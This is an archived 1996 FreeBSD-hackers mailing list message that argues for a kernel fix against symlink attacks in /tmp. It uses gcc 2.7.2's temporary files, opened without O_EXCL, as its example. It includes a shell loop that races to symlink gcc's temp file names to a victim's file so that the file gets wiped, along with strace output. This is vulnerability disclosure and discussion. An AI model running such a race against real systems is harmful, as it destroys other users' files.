Skip site navigation (1)Skip section navigation (2)
Date:      	Sat, 19 Oct 1996 10:10:43 +1000
From:      Andrew Tridgell <tridge@arvidsjaur.anu.edu.au>
To:        terry@lambert.org
Cc:        julian@whistle.com, Guido.vanRooij@nl.cis.philips.com, freebsd-hackers@FreeBSD.org
Subject:   Re: fix for symlinks in /tmp (fwd) FYI
Message-ID:  <96Oct19.101053%2B1000est.65030-172%2B221@arvidsjaur.anu.edu.au>
In-Reply-To: <199610182312.QAA02213@phaeton.artisoft.com> (message from Terry Lambert on Fri, 18 Oct 1996 16:12:12 -0700 (MST))

next in thread | previous in thread | raw e-mail | index | archive | help
> I'm afraid your name is synonymous with SAMBA... ;-).

:-)

Oh well, maybe I should change my name ...

(my real job is implementing parallel Linux on our AP1000+. Nothing to
do with Samba!)

> I don't think BSD has ever been vunerable to a "symlink attack" in the
> past, let alone now, since the 't' bit never worked against symlinks
> like the patch comments indicate it would have to to be problematic.

Hmmmm, I'm very skeptical that BSD is not vulnerable.
 
> Did you have a particular attack in mind?

dozens of them :-)

Ok, here's one that I believe is present in gcc 2.7.2.

gcc launches the assembler etc using fork/exec and passes the name of
the output file on the command line. Typically this is a file in
/tmp, such as "/tmp/cca02660.i"

A malicious user can spot the command line and create a symlink from
/tmp/cca02660.i to some file owned by the user doing the compile. The
assembler then will wipe that file.

Now somebody may be able to point out why this particular attack won't
work, I haven't written a working exploit for it, although here is a
shell script version that might work if it was about 10 times faster
than it is:

while [ 1 ]; do
tmpfile=`ps auxwww | grep tmp | egrep -v 'grep|sed' | sed "s|.*/tmp/||g"`
if [ "$tmpfile" != "" ]; then
 ln -s /path/to/a/file/owned/by/the/user /tmp/$tmpfile
fi
done


why do I think gcc is vulnerable? Because of this:

[9:55am]~/c>strace -f gcc hello.c | & grep /tmp
access("/tmp", R_OK|W_OK)               = 0
[pid  2690] execve("/usr/lib/gcc-lib/i486-linux/2.7.2/cc1", ["/usr/lib/gcc-lib/i486-linux/2.7."..., "/tmp/cca02688.i", "-quiet", "-dumpbase", "hello.c", "-o", "/tmp/cca02688.s"], [/* 27 vars */]) = 0
[pid  2691] execve("/usr/i486-linux/bin/as", ["/usr/i486-linux/bin/as", "-Qy", "-o", "/tmp/cca026881.o", "/tmp/cca02688.s"], [/* 27 vars */]) = 0
[pid  2691] open("/tmp/cca026881.o", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3
[pid  2691] open("/tmp/cca02688.s", O_RDONLY) = 5
[pid  2692] execve("/usr/i486-linux/bin/ld", ["/usr/i486-linux/bin/ld", "-m", "elf_i386", "-dynamic-linker", "/lib/ld-linux.so.1", "/usr/lib/crt1.o", "/usr/lib/crti.o", "/usr/lib/crtbegin.o", "-L/usr/lib/gcc-lib/i486-linux/2."..., "-L/usr/i486-linux/lib", "/tmp/cca026881.o", "-lgcc", "-lc", "-lgcc", "/usr/lib/crtend.o", "/usr/lib/crtn.o", ...], [/* 30 vars */]) = 0
[pid  2692] open("/tmp/cca026881.o", O_RDONLY) = 7
stat("/tmp/cca026881.o", {st_mode=S_IFREG|0644, st_size=944, ...}) = 0
unlink("/tmp/cca026881.o")              = 0
stat("/tmp/cca02688.s", {st_mode=S_IFREG|0644, st_size=574, ...}) = 0
unlink("/tmp/cca02688.s")               = 0
stat("/tmp/cca02688.i", {st_mode=S_IFREG|0644, st_size=7133, ...}) = 0
unlink("/tmp/cca02688.i")               = 0


the important line is the one with O_CREAT in it. It doesn't have the
O_EXCL bit set.

Now maybe the BSD gcc isn't vulnerable to this. I have a NetBSD system
here but I don't know how to make ktrace follow children (there's no
man page?)

The point is that there are dozens of programs written by mediocre
programmers (like me) that use /tmp and don't set O_EXCL. There are
also dozens of home grown sys admin shell scripts that use /tmp. 

In an ideal world we would fix all these programs, and be on constant
lookout for more of them. This world ain't ideal and I think that the
"fix all programs" approach is doomed to failure.

> Is this just an instance of the "a common place root might be running
> from, local-file-replacement-trojan" attack?

no.

For more examples (lots of them) do a search for "symlink" in the
bugtraq archives at http://geek-girl.com/bugtraq/. These sorts of bugs
have been around for years.

Cheers, Andrew



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?96Oct19.101053%2B1000est.65030-172%2B221>